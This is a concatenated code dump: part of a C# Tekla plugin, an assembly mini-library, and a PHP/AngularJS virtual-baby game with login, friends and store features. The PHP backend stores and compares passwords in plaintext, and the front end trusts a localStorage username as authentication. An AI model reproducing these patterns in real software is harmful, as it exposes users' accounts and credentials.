//EdgeEnumerator edgeEnumerator = solid.GetEdgeEnumerator();
//MessageBox.Show(beam1.Position.DepthOffset.ToString());
//Int32 WIDTH_M = 0;
//if (beam1.Position.Depth == TSM.Position.DepthEnum.MIDDLE)
//{
// WIDTH_M = (int)(WIDTH / 2);
//}
//while (edgeEnumerator.MoveNext())
//{
// var edge = edgeEnumerator.Current as Edge;
// if (edge != null)
// {
// //MessageBox.Show(edge.StartPoint.ToString() + "--" + edge.EndPoint.ToString());
// if ((int)(edge.StartPoint.X + edge.EndPoint.X) == 0 && (int)(edge.StartPoint.Y + edge.EndPoint.Y) == 0 && (Math.Abs((int)edge.StartPoint.Z) == beam1.Position.DepthOffset || Math.Abs((int)edge.EndPoint.Z) == beam1.Position.DepthOffset))
// {
// MessageBox.Show(edge.StartPoint.ToString() + "--" + edge.EndPoint.ToString());
// WIDTH_Z = edge.EndPoint.Z + edge.StartPoint.Z - 2*beam1.Position.DepthOffset; //нашли высоту нужной грани (фактическая толщина торца на котором находится разделка)
// //MessageBox.Show("WIDTH_Z=" + WIDTH_Z.ToString() + "--" + (int)edge.StartPoint.Z);
// }
// }
//}
beam.Position.Plane = TSM.Position.PlaneEnum.LEFT;
beam.Position.Depth = beam1.Position.Depth;
//beam.Position.DepthOffset = beam1.Position.DepthOffset + (Math.Abs(WIDTH_Z) - Math.Abs(WIDTH))/2; //изменяем глубину если есть переход на детали
beam.Position.DepthOffset = beam1.Position.DepthOffset;
beam.StartPointOffset.Dx = -_s1;
beam.EndPointOffset.Dx = _s1;
beam.Name = "MHP";
beam.Material.MaterialString = "C245";
beam.Insert();
//Вырезаем одну деталь из другой
beam.Class = TSM.BooleanPart.BooleanOperativeClassName;
TSM.BooleanPart Beam1 = new TSM.BooleanPart();
Beam1.Father = beam1;
Beam1.SetOperativePart(beam);
if (!Beam1.Insert())
Console.WriteLine("Insert failed!");
beam.Delete(); //удаляем разделку, оставляя только вырез
}
catch (Exception Exc)
{
MessageBox.Show(Exc.ToString());
}
return true;
}
private void GetValueFromDialog()
{
_h1 = Data.h1;
if (IsDefaultValue(_h1))
_h1 = 200.0;
_h2 = Data.h2;
if (IsDefaultValue(_h2))
_h2 = 2.0;
_a1 = Data.a1;
if (IsDefaultValue(_a1))
_a1 = 45.0;
_l1 = Data.l1;
if (IsDefaultValue(_l1))
_l1 = 0;
_s1 = Data.s1;
if (IsDefaultValue(_s1))
_s1 = 0;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Tekla.Structures.Dialog;
using TD = Tekla.Structures.Datatype;
namespace WPFPluginTemplate
{
public class MainWindowViewModel : INotifyPropertyChanged
{
//Поля
private double h1 = 250.0;
private double h2 = 2.0;
private double a1 = 45.0;
private int l1 = 0;
private int s1 = 0;
//Свойства. Магия получения входных данных.
[StructuresDialog("parametrh1",typeof(TD.Double))]
public double H1
{
get => h1;
set
{
h1 = value;
OnPropertyChanged("H1");
}
}
[StructuresDialog("parametrh2", typeof(TD.Double))]
public double H2
{
get => h2;
set
{
h2 = value;
OnPropertyChanged("H2");
}
}
[StructuresDialog("anglea1", typeof(TD.Double))]
public double A1
{
get => a1;
set
{
a1 = value;
OnPropertyChanged("A1");
}
}
[StructuresDialog("list1", typeof(TD.Integer))]
public int L1
{
get => l1;
set
{
l1 = value;
OnPropertyChanged("L1");
}
}
[StructuresDialog("parametrs1", typeof(TD.Integer))]
public int S1
{
get => s1;
set
{
s1 = value;
OnPropertyChanged("S1");
}
}
public event PropertyChangedEventHandler PropertyChanged;
protected void OnPropertyChanged(string name)
{
PropertyChangedEventHandler handler = PropertyChanged;
if (handler !=null)
{
handler(this, new PropertyChangedEventArgs(name));
}
}
}
}
|
96357daae2a77719d265437aac58fa8a84f2e344
|
[
"C#"
] | 3 |
C#
|
MagicalBlade/WPFPluginTemplate
|
4f86a1a51dc268cab87bd1b49e9b59542b914273
|
df3a13d4a70b2905c96182f1b2a2fbe97d2ef8a1
|
refs/heads/master
|
<file_sep>global _ft_puts
section .text
_ft_puts:
mov rax, rdi ; Save de rdi
mov rcx, rdi ; Idem
cmp rdi, 0 ; Si rdi est null
jz parait
mov r8, 0 ; Initialise r8 a 0
jmp len
len:
cmp byte[rax], 0 ;Taille du len
jz wri
inc r8
inc rax
jmp len
wri:
mov rax, 0x2000004 ;Prepa pour write
mov rdi, 1 ; FD a 1
mov rsi, rcx ; Char a ecrire
mov rdx, r8 ; taille du write
syscall
mov rdi, 1 ; FD a 1 again
mov rdx, 1 ; Taille du \n
mov rax, 0x2000004 ;Prepa pour write
lea rsi, [rel new_line] ;Insere la data new_line (\n)
syscall
ret
parait:
mov rdi, 1 ; Ecris le null
lea rsi, [rel null_msg] ;
mov rdx, 7 ;
mov rax, 0x2000004 ;
syscall
ret
section .data
null_msg db "(null)", 10
new_line db 10
<file_sep># **************************************************************************** #
# #
# ::: :::::::: #
# ft_bzero.s :+: :+: :+: #
# +:+ +:+ +:+ #
# By: tauvray <<EMAIL>> +#+ +:+ +#+ #
# +#+#+#+#+#+ +#+ #
# Created: 2015/03/12 14:06:50 by tauvray #+# #+# #
# Updated: 2015/03/18 13:16:11 by tauvray ### ########.fr #
# #
# **************************************************************************** #
global _ft_bzero
section .text
_ft_bzero:
mov rax, rsi ; save de lint
mov rbx, rdi ; save du void
jmp boucle_zero
boucle_zero:
cmp rax, 0 ; si cest egale a 0 cest finis
jz end
mov byte[rbx], 0 ; met le byte 0 du void
dec rax ; Decremente le compteur
inc rbx ; Inceremente de 1 la chaine dapres
jmp boucle_zero
end:
ret
<file_sep># libftASM
Creation d'une mini-librairie en assembleur.
[Sujet libftASM] (https://github.com/thibaultauvray/libftASM/blob/master/subject_libftASM.pdf)
<file_sep>global _ft_strdup
section .text
extern _malloc
extern _ft_memcpy
extern _ft_strlen
_ft_strdup:
mov r13, rdi ; Copie du parametre
call _ft_strlen ; Appel de strlen, met la taille de strlen dans RAX
mov r14, rax ; Copie de ft_strlen
mov rdi, rax ; Preparation pour le malloc, met la taille
inc rdi ; Pour le \0
call _malloc ; Appel de malloc (captain obvious)
cmp rax, 0 ; Si malloc a foire finir
je end
mov [rax + r14], byte 0 ; \0
mov rdi, rax ; Preparation de memcpy, rdi = adresse du premier caractere malloc
mov rsi, r13 ; rsi = char a envoyer dans le memcpy
mov rdx, r14 ; taille du memccpy (taille de la chaine)
call _ft_memcpy ; Captain Obvious
end:
ret
<file_sep>global _ft_cat ; ft_chat (LOL)
_ft_cat:
.read:
mov rax, 0x2000003 ; appel de read
push rdi ; Sauvegarde de rdi
lea rsi, [rel buff_size] ; Buffer
mov rdx, buffsize ; buffsize
syscall ; Syscall de read
jc err ; Si read a foire aller a err
cmp rax, 0 ; Si le buffer est vide donc plus rien a lire terminer
je end
mov rax, 0x2000004 ; Write
mov rdi, 1 ; FD
mov rdx, buffsize ; buffsize
syscall ; Syscall de write
jc err ; Si par magie, write bug
pop rdi ; On remet RDI pour le read
jmp .read
err:
pop rdi ;Vidage de stack
ret
end:
pop rdi
ret
section .data
buff_size db 100
buffsize equ $ - buff_size
<file_sep>section .text ; rdi rsi rdx
global _ft_memcpy
_ft_memcpy:
push rdi ; Save de rdi
mov rcx, rdx ; Prepa pour repnz
cld
repnz movsb ; copie RDI dans RSI
jmp end
end:
pop rax ; renvoie rdi
ret
|
38bf55c92551c70a148ac15a38a869cd14f6e0d5
|
[
"Markdown",
"Unix Assembly",
"Motorola 68K Assembly"
] | 6 |
Markdown
|
thibaultauvray/libftASM
|
bc7d63c472c2db2caa9b122e9cdf3f4632a8b0db
|
177d510987db883133e522c0e7b831f3d8a54e65
|
refs/heads/master
|
<file_sep>myApp.factory("friendsSvc", function(loggedUserSvc,$http, $httpParamSerializerJQLike){
var requests = {};
var friends = {};
var getRequests = function(){
var data = {
"username" : loggedUserSvc.getInfo().username
}
$http({
method: 'POST',
url: './server/getFriendRequests.php',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
data : $httpParamSerializerJQLike(data)
}).then(function successCallback(response) {
requests = response.data;
}, function errorCallback(response) {
console.log("ERROR");
});
}
var getFriends = function(){
return userInfo;
}
return {
getRequests : getRequests,
getFriends : getFriends
};
});
<file_sep>myApp.controller('storeController',function($scope,$location,$rootScope, homeSvc){
var food = ['assets/img/food_lvl/f_01.png', 'assets/img/food_lvl/f_02.png', 'assets/img/food_lvl/f_03.png',
'assets/img/food_lvl/f_04.png', 'assets/img/food_lvl/f_05.png', 'assets/img/food_lvl/f_06.png',
'assets/img/food_lvl/f_07.png', 'assets/img/food_lvl/f_08.png', 'assets/img/food_lvl/f_09.png',
'assets/img/food_lvl/f_10.png', 'assets/img/food_lvl/f_11.png', 'assets/img/food_lvl/f_12.png',
'assets/img/food_lvl/f_13.png', 'assets/img/food_lvl/f_14.png', 'assets/img/food_lvl/f_15.png'];
var clothes = ['assets/img/cloth_lvl/cl_01.png', 'assets/img/cloth_lvl/cl_02.png', 'assets/img/cloth_lvl/cl_03.png',
'assets/img/cloth_lvl/cl_04.png', 'assets/img/cloth_lvl/cl_05.png', 'assets/img/cloth_lvl/cl_06.png',
'assets/img/cloth_lvl/cl_07.png', 'assets/img/cloth_lvl/cl_08.png', 'assets/img/cloth_lvl/cl_09.png',
'assets/img/cloth_lvl/cl_10.png', 'assets/img/cloth_lvl/cl_11.png', 'assets/img/cloth_lvl/cl_12.png',
'assets/img/cloth_lvl/cl_13.png', 'assets/img/cloth_lvl/cl_14.png', 'assets/img/cloth_lvl/cl_15.png'];
$scope.errorF = '';
$scope.errorC = '';
$scope.nextF = parseInt($rootScope.player.food_lvl) + 1;
$scope.nextC = parseInt($rootScope.player.cloth_lvl) + 1;
$scope.food_c = food[$rootScope.player.food_lvl];
$scope.food_n = food[$scope.nextF] != 'undefined' ? food[$scope.nextF] : $scope.food_c;
$scope.clothes_c = clothes[$rootScope.player.cloth_lvl];
$scope.clothes_n = clothes[$scope.nextC] != 'undefined' ? clothes[$scope.nextC] : $scope.clothes_c;
$scope.buy = function(item) {
if ($rootScope.player.diamonds >= 50) {
$rootScope.player.diamonds = parseInt($rootScope.player.diamonds) - 50;
if (item.currentTarget.getAttribute("id") == 'buyFood') {
$rootScope.player.food_lvl = parseInt($rootScope.player.food_lvl) + 1;
$scope.nextF = parseInt($rootScope.player.food_lvl) + 1;
$scope.food_c = food[$rootScope.player.food_lvl];
$scope.food_n = food[$scope.nextF] != 'undefined' ? food[$scope.nextF] : $scope.food_c;
} else {
$rootScope.player.cloth_lvl = parseInt($rootScope.player.cloth_lvl) + 1;
$scope.nextC = parseInt($rootScope.player.cloth_lvl) + 1;
$scope.clothes_c = clothes[$rootScope.player.cloth_lvl];
$scope.clothes_n = clothes[$scope.nextC] != 'undefined' ? clothes[$scope.nextC] : $scope.clothes_c;
}
homeSvc.setData($rootScope.baby, $rootScope.player);
} else {
if (item.currentTarget.getAttribute("id") == 'buyFood') {
$scope.errorF = '* Not enough diamonds';
} else {
$scope.errorC = '* Not enough diamonds';
}
}
}
$scope.close = function() {
var user = localStorage.getItem("username");
$location.path('/users/' + user);
}
});<file_sep>myApp.controller("loginController",function(loggedUserSvc,$rootScope,$scope,$http,$httpParamSerializerJQLike, $location){
$scope.usernameData = {};
$scope.usernameData.username = '';
$scope.usernameData.password = '';
$scope.errors = '';
checkForLog();
function checkForLog(){
if(loggedUserSvc.getInfo().logged){
$location.path('/users/' + loggedUserSvc.getInfo().username);
}
}
$scope.login = function(){
$http({
method: 'POST',
url: './server/login.php',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
data : $httpParamSerializerJQLike($scope.usernameData)
}).then(function successCallback(response) {
if(!response.data.username){
$scope.errors = response.data.error;
}else{
$scope.errors = '';
localStorage.setItem("username", response.data.username);
loggedUserSvc.setInfo(response.data.username);
}
}, function errorCallback(response) {
console.log(response + "ERROR");
});
};
});
<file_sep>cd C:\xampp\htdocs\S6W1\finalProject\server
C:\xampp\php\php.exe updateData.php<file_sep><?php
require_once 'dbconfig.php';
$errors['error'] = [];
if(!empty($_POST)){
$sender = $_POST['sender'];
$receiver = $_POST['receiver'];
$stmt = $pdo->prepare("SELECT * FROM friends WHERE username1=:username1 AND username2=:username2");
$stmt->execute(array(":username1"=>$sender,":username2"=>$receiver));
$count = $stmt->rowCount();
if($count == 0){
$stmt = $pdo->prepare("SELECT * FROM friend_requests WHERE sender=:sender AND receiver=:receiver");
$stmt->execute(array(":sender"=>$sender,":receiver"=>$receiver));
$count = $stmt->rowCount();
if($count == 0){
$stmt = $pdo->prepare("INSERT INTO friend_requests(receiver,sender)
VALUES(:receiver, :sender)");
$stmt->bindParam(":receiver",$receiver);
$stmt->bindParam(":sender",$sender);
$stmt->execute();
}else{
$errors['error'] = "You already have a pending request to this person";
}
}else{
$errors['error'] = "You have $receiver in your friend list";
}
}
echo json_encode($errors);
<file_sep><?php
require_once 'dbconfig.php';
$sth = $pdo->prepare('UPDATE baby_info SET name = :name, gender = :gender, food = :food, drink = :drink,
happiness = :happiness, is_alive = :is_alive WHERE parent = :parent');
$parent = empty($_POST['parent']) ? '' : $_POST['parent'];
$name = empty($_POST['name']) ? '' : $_POST['name'];
$gender = empty($_POST['gender']) ? '' : $_POST['gender'];
$food = empty($_POST['food']) ? '' : $_POST['food'];
$drink = empty($_POST['drink']) ? '' : $_POST['drink'];
$happiness = empty($_POST['happiness']) ? '' : $_POST['happiness'];
$isAlive = empty($_POST['is_alive']) ? '' : $_POST['is_alive'];
$sth->execute([':name' => $name, ':gender' => $gender, ':food' => $food, ':drink' => $drink,
':happiness' => $happiness, ':is_alive' => $isAlive, ':parent' => $parent]);
echo json_encode('Done');<file_sep>myApp.controller("usersController",function(loggedUserSvc,$scope,$http,$location,$rootScope,$httpParamSerializerJQLike){
$scope.data = [];
getData();
$scope.pageSize = 8;
$scope.currentPage = 1;
$scope.searchWord = '';
$scope.alerts = {};
$scope.alerts.success = false;
$scope.alerts.errorFlag = false;
$scope.alerts.error = '';
$scope.successClose = function(){
$scope.alerts.success = false;
}
$scope.dangerClose = function(){
$scope.alerts.errorFlag = false;
}
$scope.friends = function(){
$location.path("/friends");
}
$scope.ranking = function(){
$location.path("/ranking");
}
$scope.openProfil = function(index) {
var string = '/users/' + $scope.data[index].username;
$location.path(string);
}
$scope.sendFriendRequest = function(index) {
var sendingData = {};
sendingData.receiver = $scope.data[index].username;
sendingData.sender = loggedUserSvc.getInfo().username;
if(sendingData.receiver != sendingData.sender){
$http({
method: 'POST',
url: './server/addFriendRequest.php',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
data : $httpParamSerializerJQLike(sendingData)
}).then(function successCallback(response) {
if(response.data.error.length != 0){
$scope.alerts.error = response.data.error;
$scope.alerts.errorFlag = true;
}else{
$scope.alerts.success = true;
}
}, function errorCallback(response) {
console.log("ERROR");
console.log(response.data);
});
}else{
$scope.alerts.error = "You cant invite yourself";
$scope.alerts.errorFlag = true;
}
}
function getData (){
$http({
method: 'GET',
url: './server/rank.php',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
}).then(function successCallback(response) {
$scope.data = response.data;
}, function errorCallback(response) {
console.log("ERROR");
console.log(response.data);
});
}
});
<file_sep><?php
require_once 'dbconfig.php';
$errors = [];
$response = [];
$flag = false;
if(!empty($_POST)){
$name = $_POST['username'];
$pas = $_POST['password'];
$stmt = $pdo->prepare("SELECT * FROM users WHERE username=:username");
$stmt->execute(array(":username"=>$name));
$row = $stmt->fetch(PDO::FETCH_ASSOC);
$count = $stmt->rowCount();
if($count == 0){
$flag = true;
}else{
if($pas == $row['password']){
$response["username"] = $name;
}else{
$flag = true;
}
}
}
if($flag){
$response['error'] = "Wrong username or password";
}
echo json_encode($response);
<file_sep><?php
require_once 'dbconfig.php';
$response = [];
if(!empty($_POST)){
$receiver = $_POST['receiver'];
$sender = $_POST['sender'];
$stmt = $pdo->prepare("DELETE FROM friend_requests WHERE receiver=:receiver AND sender=:sender");
$stmt->execute(array(":receiver"=>$receiver,":sender"=>$sender));
$row = $stmt->fetchAll(PDO::FETCH_ASSOC);
$stmt = $pdo->prepare("SELECT * FROM friends WHERE username1=:username1 AND username2=:username2");
$stmt->execute(array(":username1"=>$sender,":username2"=>$receiver));
$count = $stmt->rowCount();
if($count == 0){
$stmt = $pdo->prepare("INSERT INTO friends(username1,username2)
VALUES(:username1, :username2)");
$stmt->bindParam(":username1",$receiver);
$stmt->bindParam(":username2",$sender);
$stmt->execute();
$stmt = $pdo->prepare("INSERT INTO friends(username1,username2)
VALUES(:username1, :username2)");
$stmt->bindParam(":username1",$sender);
$stmt->bindParam(":username2",$receiver);
$stmt->execute();
}
}
echo json_encode($response);
<file_sep><?php
require_once 'dbconfig.php';
$response = [];
if(!empty($_POST)){
$name = $_POST['username'];
$st = $pdo->prepare("SELECT is_alive FROM baby_info WHERE parent=:parent");
$st->execute(array(":parent"=>$name));
$data = $st->fetch(PDO::FETCH_ASSOC);
$response["isAlive"] = (($data['is_alive'] == 1) || ($data['is_alive']==0))? $data['is_alive'] : -1;
}
echo json_encode($response);
<file_sep>myApp.controller("homeController",function($scope, $rootScope, $location, $route, $routeParams,
$http, $httpParamSerializerJQLike, homeSvc, loggedUserSvc, $timeout){
$rootScope.parent = loggedUserSvc.getInfo().username;
$scope.error = '';
$scope.babyName = '';
$rootScope.baby = {};
$rootScope.player = {};
$scope.newFriend = false;
$scope.benefits = true;
$scope.friend_baby = '';
$scope.x = false;
$scope.filter = '';
$scope.friends;
$scope.playing = false;
$scope.sound = './assets/img/sound_on.png';
$scope.bottle = 0;
var audio = new Audio();
var userInfo = loggedUserSvc.getInfo();
$scope.alerts = {};
$scope.alerts.success = false;
$scope.alerts.error = '';
$scope.alerts.errorFlag = false;
$scope.dangerClose = function (){
$scope.alerts.errorFlag = false;
}
$scope.successClose = function(){
$scope.alerts.success = false;
}
function loadGame() {
if (userInfo.logged == false) {
$location.path('/login');
} else {
if (userInfo.is_alive == -1) {
$scope.show = 1;
var user = {
'username': localStorage.getItem("username")
}
homeSvc.getPlayer(user).then( function(result) {
$rootScope.player = result;
})
} else {
$scope.show = 2;
var user = {
'username': localStorage.getItem("username")
}
var parent = {
'username': $routeParams.user
}
$http({
method: 'POST',
url: './server/routUserCheck.php',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
data : $httpParamSerializerJQLike(parent)
}).then(function successCallback(response) {
if (JSON.parse(response.data) == false) {
return $location.path('/users/' + localStorage.getItem("username"));
}
homeSvc.getPlayer(user).then( function(result) {
$rootScope.player = result;
homeSvc.getBaby(parent).then(function(result) {
$rootScope.baby = result;
updateFriends();
if (!$rootScope.baby.is_alive) {
$location.path('/users/' + localStorage.getItem("username"));
}
if ($rootScope.baby.is_alive == 0) {
$scope.babyImage = './assets/img/gost.png';
} else {
if ($rootScope.baby.gender == 'm') {
$scope.babyImage = './assets/img/boy1.png';
} else {
$scope.babyImage = './assets/img/girl1.png';
}
}
})
})
}, function errorCallback(response) {
console.log("ERROR");
console.log(response.data);
});
}
}
}
loadGame();
$scope.createBaby = function(item) {
if ($scope.babyName == '') {
$scope.error = ' * Enter name';
} else {
$scope.error = '';
var gender = '';
if (item.currentTarget.getAttribute("id") == 'boy') {
gender = 'm';
$scope.babyImage = './assets/img/boy1.png'
} else {
gender = 'f';
$scope.babyImage = './assets/img/girl1.png'
}
$rootScope.baby = {
'parent': userInfo.username,
'name': $scope.babyName,
'gender': gender,
'food': 1,
'drink': 1,
'happiness': 1,
'is_alive': 1,
}
if (userInfo.is_alive == -1) {
homeSvc.saveNewBaby($rootScope.baby);
} else {
$rootScope.player = {
'username': userInfo.username,
'diamonds': 0,
'food_q': 10,
'drink_q': 10,
'toys_q': 10,
'cloth_lvl': 1,
'food_lvl': 1,
'points': 0
}
homeSvc.setData($rootScope.baby, $rootScope.player);
}
userInfo.is_alive = 1;
$route.reload();
}
}
$scope.play = function(item) {
if ($routeParams.user == localStorage.getItem("username") || isFriend()) {
if (loggedUserSvc.getInfo().is_alive == 0) {
$scope.show = 1;
} else {
if ($scope.playing == false) {
$scope.playing = true;
if (item.currentTarget.getAttribute("id") == 'bottle') {
if ($rootScope.player.drink_q > 0){
if ($rootScope.baby.drink < 100) {
playAudio('./assets/sounds/eat.mp3');
if (parseInt($rootScope.baby.drink) + 5 >= 100) {
$rootScope.baby.drink = 100;
} else {
$rootScope.baby.drink = parseInt($rootScope.baby.drink) + 5;
}
$rootScope.player.drink_q -= 1;
$rootScope.player.points = parseInt($rootScope.player.points) + 1;
homeSvc.setData($rootScope.baby, $rootScope.player);
if ($rootScope.baby.gender == 'm') {
imageChange('./assets/img/boy_drink.png', './assets/img/boy1.png', 3000);
} else {
imageChange('./assets/img/girl_drink.png', './assets/img/girl1.png', 3000);
$scope.bottle = 1;
$timeout(function() {
$scope.bottle = 0;
}, 3000);
}
} else {
$scope.playing = false;
console.log("full");
}
}
} else if(item.currentTarget.getAttribute("id") == 'jar') {
if ($rootScope.player.food_q > 0){
if ($rootScope.baby.food < 100) {
playAudio('./assets/sounds/eat.mp3');
if (parseInt($rootScope.baby.food) + 1 + parseInt($rootScope.player.food_lvl) >= 100) {
$rootScope.baby.food = 100;
} else {
$rootScope.baby.food = parseInt($rootScope.baby.food) + 1 + parseInt($rootScope.player.food_lvl);
}
$rootScope.player.food_q -= 1;
$rootScope.player.points = parseInt($rootScope.player.points) + 1 + parseInt($rootScope.player.food_lvl);
homeSvc.setData($rootScope.baby, $rootScope.player);
if ($rootScope.baby.gender == 'm') {
imageChange('./assets/img/boy_eat.png', './assets/img/boy1.png', 3000);
} else {
imageChange('./assets/img/girl_eat.png', './assets/img/girl1.png', 3000)
}
} else {
$scope.playing = false;
console.log('full');
}
}
} else {
if ($rootScope.player.toys_q > 0){
if ($rootScope.baby.happiness < 100) {
playAudio('./assets/sounds/laugh.mp3');
if (parseInt($rootScope.baby.happiness) + 1 + parseInt($rootScope.player.cloth_lvl) >= 100) {
$rootScope.baby.happiness = 100;
} else {
$rootScope.baby.happiness = parseInt($rootScope.baby.happiness) + 1 + parseInt($rootScope.player.cloth_lvl);
}
$rootScope.player.toys_q -= 1;
$rootScope.player.points = parseInt($rootScope.player.points) + 1 + parseInt($rootScope.player.cloth_lvl);
homeSvc.setData($rootScope.baby, $rootScope.player);
if ($rootScope.baby.gender == 'm') {
imageChange('./assets/img/boy_play.png', './assets/img/boy1.png', 3000);
} else {
imageChange('./assets/img/girl_play.png', './assets/img/girl1.png', 3000)
}
} else {
$scope.playing = false;
console.log('full');
}
}
}
}
}
}
}
$scope.openStore = function() {
if ($routeParams.user == localStorage.getItem("username")) {
$location.path('/store');
}
}
$scope.sleep = function() {
if ($routeParams.user == localStorage.getItem("username") || isFriend()) {
if ($scope.playing == false) {
$scope.playing = true;
playAudio('./assets/sounds/sleep1.mp3');
if ($rootScope.baby.gender == 'm') {
imageChange('./assets/img/boy_sleep.png', './assets/img/boy1.png', 14000);
} else {
imageChange('./assets/img/girl_sleep.png', './assets/img/girl1.png', 14000)
}
}
}
}
$scope.soundOnOff = function() {
if (audio.muted) {
audio.muted = false;
$scope.sound = './assets/img/sound_on.png'
} else {
audio.muted = true;
$scope.sound = './assets/img/sound_off.png'
}
}
$scope.sendFriendRequest = function() {
var sendingData = {};
sendingData.receiver = $routeParams.user;
sendingData.sender = loggedUserSvc.getInfo().username;
if(sendingData.receiver != sendingData.sender){
$http({
method: 'POST',
url: './server/addFriendRequest.php',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
data : $httpParamSerializerJQLike(sendingData)
}).then(function successCallback(response) {
if(response.data.error.length != 0){
$scope.alerts.error = response.data.error;
$scope.alerts.errorFlag = true;
console.log($scope.alerts.errorFlag);
}else{
$scope.alerts.success = true;
}
}, function errorCallback(response) {
console.log("ERROR");
console.log(response.data);
});
}else{
console.log("You cant invite yourself");
}
}
function imageChange(url1, url2, time) {
$scope.babyImage = url1;
$timeout(function() {
$scope.babyImage = url2;
$scope.playing = false;
}, time);
}
function playAudio(u) {
audio.src = u;
audio.play();
}
function updateFriends(){
var data = {
"username" : loggedUserSvc.getInfo().username
}
$http({
method: 'POST',
url: './server/getFriends.php',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
data : $httpParamSerializerJQLike(data)
}).then(function successCallback(response) {
$scope.friends = response.data;
isFriend();
notFriend();
}, function errorCallback(response) {
console.log("ERROR");
});
}
function isFriend() {
for (var i = 0; i < $scope.friends.length; i++) {
if ($routeParams.user == $scope.friends[i].username2) {
return true;
}
}
return false;
}
function notFriend() {
if($routeParams.user != localStorage.getItem("username") && !isFriend()) {
$scope.x = true;
$scope.filter = 'rgba(128,128,128, 0.6)';
$scope.benefits = false;
$scope.friend_baby = "Add friend";
$scope.newFriend = true;
} else if (isFriend()) {
$scope.benefits = false;
$scope.friend_baby = "Friend's baby";
$scope.filter = 'rgba(65,169,76, 0.6)'
}
}
});
<file_sep><?php
require_once 'dbconfig.php';
$response = [];
$stmt = $pdo->prepare("SELECT username,points FROM user_stats ORDER BY points DESC");
$stmt->execute();
$row = $stmt->fetchAll(PDO::FETCH_ASSOC);
$response = $row;
echo json_encode($response);
<file_sep>myApp.config(function ($routeProvider, $locationProvider) {
$routeProvider
.when('/users/:user', {
templateUrl: './app/views/home.html',
controller: 'homeController',
authenticated: true
})
.when('/games',{
templateUrl: './app/views/games.html',
controller: 'gamesController',
authenticated: true
})
.when('/login',{
templateUrl: './app/views/login.html',
controller: 'loginController',
authenticated: false
})
.when('/register',{
templateUrl: './app/views/register.html',
controller: 'registerController',
authenticated: false
})
.when('/users',{
templateUrl: './app/views/users.html',
controller: 'usersController',
authenticated: true
})
.when('/ranking',{
templateUrl: './app/views/ranking.html',
controller: 'rankingController',
authenticated: true
})
.when('/games/toyGame',{
templateUrl: './app/views/toyGame.html',
controller: 'toyGameController',
authenticated: true
})
.when('/games/waterGame',{
templateUrl: './app/views/waterGame.html',
controller: 'waterGameController',
authenticated: true
})
.when('/games/foodGame',{
templateUrl: './app/views/foodGame.html',
controller: 'foodGameController',
authenticated: true
})
.when('/store',{
templateUrl: './app/views/store.html',
controller: 'storeController',
authenticated: true
})
.when('/friends',{
templateUrl: './app/views/friends.html',
controller: 'friendsController',
authenticated: true
})
.otherwise({
redirectTo : "/login"
})
;
})
.run(function($rootScope,$location,loggedUserSvc){
$rootScope.$on('$routeChangeStart',function(event , next , current){
if(next.$$route){
if (next.$$route.authenticated) {
if(!loggedUserSvc.getInfo().logged){
$location.path('#/login');
}
}
}
});
if(localStorage.getItem("username")){
loggedUserSvc.setInfo(localStorage.getItem("username"));
}
});
<file_sep><?php
require_once 'dbconfig.php';
$errors = [];
$response = [];
if(!empty($_POST)){
$username = $_POST['username'];
$password = $_POST['<PASSWORD>'];
$password2 = $_POST['<PASSWORD>2'];
$email = $_POST['email'];
$stmt = $pdo->prepare("SELECT * FROM users WHERE username=:username");
$stmt->execute(array(":username"=>$username));
$count = $stmt->rowCount();
if($count == 0){
$check = securityCheck($username , $password , $password2 , $email , $errors);
if($check){
$stmt = $pdo->prepare("INSERT INTO users(username,email,password)
VALUES(:username, :email, :password)");
$stmt->bindParam(":username",$username);
$stmt->bindParam(":email",$email);
$stmt->bindParam(":password",$password);
$stmt->execute();
$stmt = $pdo->prepare("INSERT INTO user_stats(username)
VALUES(:username)");
$stmt->bindParam(":username",$username);
$stmt->execute();
}
}else{
$errors['username'] = "User name already exists";
}
}
$response['errors'] = $errors;
echo json_encode($response);
function securityCheck($username,$password,$password2,$email,&$errors){
if(strlen($username) < 4){
$errors['username'] = "Username must be at least 4 characters";
}
if(strlen($password) < 6 || strlen($password) > 20){
$errors['password'] = "Password must be between 6 and 20 characters";
}
if($password != $password2){
$errors['password2'] = "Password does not match the confirm password";
}
if(!filter_var($email, FILTER_VALIDATE_EMAIL)){
$errors['email'] = "Enter valid email address";
}
if(count($errors) == 0){
return true;
}
return false;
}
<file_sep><?php
require_once 'dbconfig.php';
//$userName = empty($_POST['username']) ? '' : $_POST['username'];
$sth = $pdo->prepare("SELECT food, drink, happiness, parent FROM baby_info");
$sth->execute();
$result = $sth->fetchAll(PDO::FETCH_ASSOC);
for ($i = 0; $i < count($result); $i++) {
if ($result[$i]['food'] > 0) {
$food = --$result[$i]['food'];
} else {
$food = 0;
}
if ($result[$i]['drink'] > 0) {
$drink = --$result[$i]['drink'];
} else {
$drink = 0;
}
if ($result[$i]['happiness'] > 0) {
$happiness = --$result[$i]['happiness'];
} else {
$happiness = 0;
}
if ($food == 0 && $drink == 0 && $happiness == 0) {
$isAlive = 0;
} else {
$isAlive = 1;
}
$parent = $result[$i]['parent'];
$newRow = $pdo->prepare('UPDATE baby_info SET food = :food, drink = :drink, happiness = :happiness,
is_alive = :is_alive WHERE parent = :parent');
$newRow->execute([':food' => $food, ':drink' => $drink, ':happiness' => $happiness,
':is_alive' => $isAlive, ':parent' => $parent]);
}
<file_sep><?php
require_once 'dbconfig.php';
$response = [];
if(!empty($_POST)){
$username1 = $_POST['receiver'];
$username2 = $_POST['sender'];
$stmt = $pdo->prepare("DELETE FROM friends WHERE username1=:username1 AND username2=:username2");
$stmt->execute(array(":username1"=>$username1,":username2"=>$username2));
$stmt = $pdo->prepare("DELETE FROM friends WHERE username1=:username1 AND username2=:username2");
$stmt->execute(array(":username1"=>$username2,":username2"=>$username1));
}
echo json_encode($response);
<file_sep><?php
require_once 'dbconfig.php';
$response = [];
if(!empty($_POST)){
$receiver = $_POST['receiver'];
$sender = $_POST['sender'];
$stmt = $pdo->prepare("DELETE FROM friend_requests WHERE receiver=:receiver AND sender=:sender");
$stmt->execute(array(":receiver"=>$receiver,":sender"=>$sender));
